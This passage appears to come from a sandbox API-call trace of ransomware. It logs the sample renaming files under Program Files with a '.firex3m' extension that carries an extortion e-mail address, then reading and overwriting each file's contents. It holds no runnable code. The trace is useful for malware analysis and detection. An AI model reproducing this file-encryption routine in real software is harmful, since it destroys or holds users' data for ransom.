ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0x9647496, dwReserved1=0x7421000, cFileName="UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN7985~1.FIR")) returned 0x6d5280 [0235.723] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.723] Sleep (dwMilliseconds=0x1) [0235.747] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml") returned 1 [0235.747] GetProcessHeap () returned 0x630000 [0235.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb8) returned 0x6fe3bb0 [0235.747] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.748] CloseHandle (hObject=0x430) returned 1 [0235.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.748] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.749] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.749] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.749] GetProcessHeap () returned 0x630000 [0235.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6f0f2f8 [0235.750] GetProcessHeap () returned 0x630000 [0235.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6f0f490 [0235.750] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.750] ReadFile (in: hFile=0x430, lpBuffer=0x6f0f2f8, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f2f8*, lpNumberOfBytesRead=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.752] GetProcessHeap () returned 0x630000 [0235.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0235.752] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.752] WriteFile (in: hFile=0x430, lpBuffer=0x6f0f490*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f490*, lpNumberOfBytesWritten=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.752] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.752] WriteFile (in: hFile=0x430, lpBuffer=0x6f0f5ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f5ef*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.752] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.752] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.753] CloseHandle (hObject=0x430) returned 1 [0235.753] GetProcessHeap () returned 0x630000 [0235.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0f490 | out: hHeap=0x630000) returned 1 [0235.753] GetProcessHeap () returned 0x630000 [0235.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0f2f8 | out: hHeap=0x630000) returned 1 [0235.753] GetProcessHeap () returned 0x630000 [0235.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0235.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x527827d3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x64bfd20, dwReserved1=0x6f0f2f8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0235.753] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0235.753] Sleep (dwMilliseconds=0x1) [0235.910] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml") returned 1 [0235.910] GetProcessHeap () returned 0x630000 [0235.910] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f84) returned 0x6fe3bb0 [0235.910] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0235.910] CloseHandle (hObject=0x6a8) returned 1 [0235.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.911] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.912] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.912] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0235.912] GetProcessHeap () returned 0x630000 [0235.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc658 [0235.912] GetProcessHeap () returned 0x630000 [0235.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbef8 [0235.912] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.912] ReadFile (in: hFile=0x6a8, lpBuffer=0x6dc658, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc658*, lpNumberOfBytesRead=0x64bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.915] GetProcessHeap () returned 0x630000 [0235.915] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.915] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.915] WriteFile (in: hFile=0x6a8, lpBuffer=0x6dbef8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbef8*, lpNumberOfBytesWritten=0x64bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.915] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.915] WriteFile (in: hFile=0x6a8, lpBuffer=0x6dc097*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc097*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.915] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.915] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.915] CloseHandle (hObject=0x6a8) returned 1 [0235.915] GetProcessHeap () returned 0x630000 [0235.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbef8 | out: hHeap=0x630000) returned 1 [0235.915] GetProcessHeap () returned 0x630000 [0235.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc658 | out: hHeap=0x630000) returned 1 [0235.915] GetProcessHeap () returned 0x630000 [0235.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x528ffaaf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x64bfd20, dwReserved1=0x6dc658, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.916] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.916] Sleep (dwMilliseconds=0x1) [0235.981] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml") returned 1 [0235.981] GetProcessHeap () returned 0x630000 [0235.981] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f70) returned 0x6fe3bb0 [0235.981] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.557] CloseHandle (hObject=0x4d4) returned 1 [0236.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.597] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e00 [0236.598] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0236.598] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.598] GetProcessHeap () returned 0x630000 [0236.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6d9b40 [0236.598] GetProcessHeap () returned 0x630000 [0236.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6da9c8 [0236.598] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.598] ReadFile (in: hFile=0x4d4, lpBuffer=0x6d9b40, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9b40*, lpNumberOfBytesRead=0x64bff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0236.602] GetProcessHeap () returned 0x630000 [0236.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0236.602] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.602] WriteFile (in: hFile=0x4d4, lpBuffer=0x6da9c8*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6da9c8*, lpNumberOfBytesWritten=0x64bff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0236.602] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.602] WriteFile (in: hFile=0x4d4, lpBuffer=0x6dac67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dac67*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.602] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.602] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.603] CloseHandle (hObject=0x4d4) returned 1 [0236.603] GetProcessHeap () returned 0x630000 [0236.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6da9c8 | out: hHeap=0x630000) returned 1 [0236.603] GetProcessHeap () returned 0x630000 [0236.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9b40 | out: hHeap=0x630000) returned 1 [0236.603] GetProcessHeap () returned 0x630000 [0236.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0236.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52f8dff6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x64bfd20, dwReserved1=0x6d9b40, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0236.603] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.603] Sleep (dwMilliseconds=0x1) [0236.638] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt", len=0x73 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt") returned 1 [0236.638] GetProcessHeap () returned 0x630000 [0236.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f04) returned 0x6fe3bb0 [0236.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0236.639] CloseHandle (hObject=0x4f0) returned 1 [0236.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x380034, dwReserved1=0x310033, 